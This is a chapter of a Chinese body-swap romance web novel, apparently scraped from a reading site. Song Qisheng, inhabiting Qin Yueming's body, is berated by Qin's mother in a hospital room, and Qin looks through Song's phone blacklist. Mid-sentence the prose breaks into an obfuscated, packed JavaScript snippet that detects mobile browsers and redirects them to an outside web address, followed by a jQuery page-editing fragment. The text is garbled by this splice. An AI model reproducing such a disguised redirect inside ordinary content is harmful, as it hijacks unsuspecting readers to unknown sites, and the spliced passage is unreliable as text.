4. 不同身份

秦越鸣脸色顿时沉下来,眼不带眨地轻而易举抓住秦夫人挥舞的手。


秦夫人被拽得手生疼,想把自己的手扯出来,却依旧被对方牢牢地抓住。


“你什么货色,也敢碰我,松手!”


手被抓得更疼了,秦夫人吃痛地叫出声来。


宋祈声一愣,但很快反应过来,让秦越鸣松开了手。


秦越鸣倒是听她的话,手上的力度愈来愈小,直到彻底松开。


反而是秦夫人,精致的面颊因愤怒变得扭曲,不复以往的从容优雅。


如果她知道自己现在针对的其实是自己儿子,这件病房恐怕要多出一个床位来。


虽然说,现在主导自己身体的是秦越鸣,但是看他这个样子,这么对自己亲妈,可不像是母慈子孝应该有的样子。


“秦越鸣!你看清楚了吧,看清楚这个女人的真面目。”秦夫人冷笑着,改用尖锐的长指甲狠狠戳着“宋祈声”。


“……她也没有干什么吧。”宋祈声忍不住很小声地为自己辩解。


但是秦越鸣确实救了她。


“走了,你随意。”秦越鸣活动一下筋骨,站起身居高临下看着秦夫人,两人眼神对峙几秒后,头也不回地走出病房。


直到门口,他背对着宋祈声做出了一个你可以的手势,仿佛周遭的一切都与他无关,仍旧是我行我素的做事风格。


宋祈声想像他一样随心所欲的骂一句脏话。


行吧,秦越鸣就这么走了。但这一笔账,她算是记下了。


“秦越鸣。”


这声叫唤打乱了宋祈声的思绪,因为这实在不像是母亲叫儿子的声音,更像是一种命令。


看来这对母子的关系,确实如她所想的那样,实在有些棘手啊。


宋祈声扮演着秦越鸣的角色,脑海里满是秦越鸣对付这种麻烦事的画面。


她学着记忆里的秦越鸣,烦躁地揉乱短发,心安理得躺回床上,闭目养神。


不出所料的,一阵滔天怒火般的声音在耳边炸开。


“秦越鸣,我看你是疯了!你知道现在热搜满天飞,应付都应付不过来,对瑞卓的股票有多大损失吗?”


她才刚醒没多久啊,哪里能知晓这么多状况。什么瑞卓股票,在她看来,这和自己毫无关联,秦姓和宋姓,两个姓氏,简直八竿子打不着,能有什么牵扯。


她脑袋里唯一蹦出来的想法是:肯定是秦越鸣救她的行为惹祸了。


“知道。”她模仿着秦越鸣置之度外的样子,眼皮都没抬一下,慵懒地回应道。


“住口!为了那个女人,把自己搞成这幅丢脸的样子,那个女人满口谎言。”


秦夫人气的浑身发抖,恨不得刚才那一巴掌是抽在自己儿子身上,“可是你呢?掏出自己的性命去救那个女人,灯光设施砸在的是你的脑袋上啊,躺了半个月,你是铁了心要让你爸对你失望啊!如果可以……如果可以我宁愿那一天被车撞死的是你,不是你哥!”


宋祈声闻言,整个人猛地一震。本想喝水而抬起的手臂此刻悬在空中,杯中的水微微晃动,几滴水溅在洁白的被单上,洇出一小片深色的水渍。


“你刚才……说什么?”所有的不安在听到这句话时凝聚在一起,她开口沙哑问道。


这信息来得太突然,在她脑袋里如同一颗定时炸弹,她再也无法在佯装面上的冷静,几乎出于本能下意识去拿起手机查看热搜。


当修长硬朗的手指触碰手机的一刹,她才猛然回过神来,可这手机是秦越鸣的,她打不开。


躺了半个月,怎么这么严重?


她的内心疯狂而复杂地呐喊。


为了她,秦越鸣差点死掉。为了她,秦越鸣才躺在这病床上很久没有苏醒。


秦夫人的话如同回声,在她原本平静情绪中一圈一圈地荡开,搅得她思绪纷乱如麻。


她突然想起来刚才秦越鸣说的一句话。


“看在你惊魂未定,我有惊无险的份上,先不和你计较。”


秦夫人看着“秦越鸣”漠不关心的样子终于有了一丝焦急,总算有些舒心了,对着“秦越鸣”又是一顿输出。


最后以一句“你还想当秦家的少爷,就好好听我们的话,不要做多余的事。”而结束离开。


宋祈声第一时间从床上爬起来,但此刻占据着秦越鸣的身体,她非常不习惯。踩在地板上,腿却使不上什么劲,浑身疼地难受,整个人重重摔在地上。


“秦越鸣,你有多少事是瞒着我的……”


秦越鸣在病房外等着,他知道如果他以宋祈声的身份继续呆在那里,秦夫人就可不只是动动嘴皮子这么简单了。反而,他出来了,秦夫人也不会对宋祈声怎么样,顶多失望透顶和恨铁不成钢。


口袋里的手机响个不听,他看了眼手机。手机屏幕上显示特别关心——袁晓封。


仅仅这三个字,就让秦越鸣周身的气压瞬间降低,寒意四散。


秦越鸣捏着手机的手,青筋微微凸起,眼里多了几分不耐,他毫不犹豫地重重点击了红圈,刹那间,烦人的噪音戛然而止,世界终于安静了。


他看着宋祈声的手机,心里有了一个坏想法。这念头一经出现,便如野草般疯狂生长,怎么也压不下去。


他的手指微微颤抖,带着一丝紧张与期待。


宋祈声的手机没有设密码,所以秦越鸣轻轻划一下,就很顺利地打开手机。再一划,打开宋祈声手机的黑名单和微信黑名单。


可是真的点开了他自己又不高兴了。这么多年时光悠悠流转,见过千人千面,宋祈声黑名单里的人却始终只有一个——秦越鸣。


拉黑名单上的年份清晰地停留在2016年6月9日,那是高考结束的时间,也是他们高中毕业的特殊时刻。


一瞬


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15321430|167504||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


间,回忆如汹涌潮水,将他彻底淹没。


记得那天,宋祈声违背了他们的誓言,选择了一条他意料之外的人生。


年少气盛的自己只觉得被抛弃,只有自己向着两人约定好一起上同一所大学努力前进。


自己正拼尽全力奔赴,却被宋祈声单方面放弃。


他不能理解当时宋祈声的难堪和处境,口不择言说了许多伤人的话,那些话像锋利的刀刃,直直刺向宋祈声的心。


后来他一气之下出国,两人谁都没有完成约定。


宋祈声更是断了所有和他的联系。本以为时间会慢慢冲淡一切,但当他在国外辗转反侧日夜难眠时,他才惊觉,当初伤宋祈声的话,也正中他眉心。


他本想趁这次机会,再偷偷把自己从黑名单拉出来,但是他犹豫了。


机会近在眼前,可他意识到,用这种偷偷摸摸的方式,即便成功了,也不过是自欺欺人。


他渴望的,是宋祈声发自内心地放下过去的芥蒂,主动向他敞开那扇心门,而非自己用这种手段强行闯入。


“唉~这宋祈声还要记仇到什么时候啊?”他轻轻叹气,感慨道。


当秦越鸣再次返回宋祈声的病房时,眼前的景象让他瞬间警觉起来。


只见宋祈声的病房里多了好几位护士,这些护士看到他走进来,脸上不约而同地闪过一丝震惊,眼神中还夹杂着几分诧异,像是见了什么不可思议的事情。


好在职业素养让她们不会过多的谈论这件事,毕竟是要保护病人隐私。


这异样的氛围让秦越鸣的心猛地一紧,担忧瞬间涌上心头,他急忙开口问道:“怎么了?”声音里带着掩饰不住的焦急。


宋祈声没有立刻回答,只是紧紧抿着嘴唇,那模样像是在极力压抑着什么。


“有什么不舒服吗?”秦越鸣再次询问道。


随后,宋祈声对着护士们说道:“你们先出去吧。”


等到病房里只剩下他们两人时,宋祈声的目光紧紧锁住眼前的秦越鸣,她的眼神炽热而复杂。


令秦越鸣在当下晃了神。


她的眼眶先是微微泛红,被难过的情绪填满,紧接着,眼眶开始湿润。嘴唇紧紧抿住,似乎有千言万语,却又不知从何说起。


秦越鸣感觉像是有一记重锤,毫无征兆击中了自己的内心深处。


“宋祈声,你……”他的声音不自觉地放轻,脚步慢慢朝着宋祈声走近,每一步都走得小心翼翼。


到了宋祈声身前,他温柔地半蹲下来,缓缓伸出手,像是要安抚眼前这个情绪快要崩溃的人。


然而,下一秒,他却一把将宋祈声的脸推向另一边,大声喊道:“求你了!!!”


“不要用我的脸做这种表情,你现在支配我的身体,被人看见很恶心的喂!!”脸上充满了嫌弃,那夸张滑稽的模样瞬间打破了原本凝重的气氛。